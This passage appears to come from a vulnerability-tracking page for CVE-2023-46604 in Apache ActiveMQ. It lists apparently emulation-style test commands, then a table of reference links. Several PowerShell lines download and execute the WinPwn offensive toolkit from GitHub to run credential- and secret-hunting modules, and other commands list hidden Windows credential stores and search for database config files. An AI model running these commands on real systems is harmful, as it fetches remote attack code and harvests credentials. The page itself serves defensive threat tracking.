find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-46604 |
| activemq.apache.org |
GitHub CVE
vendor-advisory
|
https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt |
| openwall.com |
GitHub CVE
|
https://www.openwall.com/lists/oss-security/2023/10/27/5 |
| security.netapp.com |
GitHub CVE
|
https://security.netapp.com/advisory/ntap-20231110-0010/ |
| packetstormsecurity.com |
GitHub CVE
|
https://packetstormsecurity.com/files/175676/Apache-ActiveMQ-Unauthenticated-Remote-Code-Execution.html |
| lists.debian.org |
GitHub CVE
|
https://lists.debian.org/debian-lts-announce/2023/11/msg00013.html |
| seclists.org |
GitHub CVE
|
http://seclists.org/fulldisclosure/2024/Apr/18 |
| lists.debian.org |
NVD API
Mailing List
|
https://lists.debian.org/debian-lts-announce/2024/10/msg00027.html |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-46604 |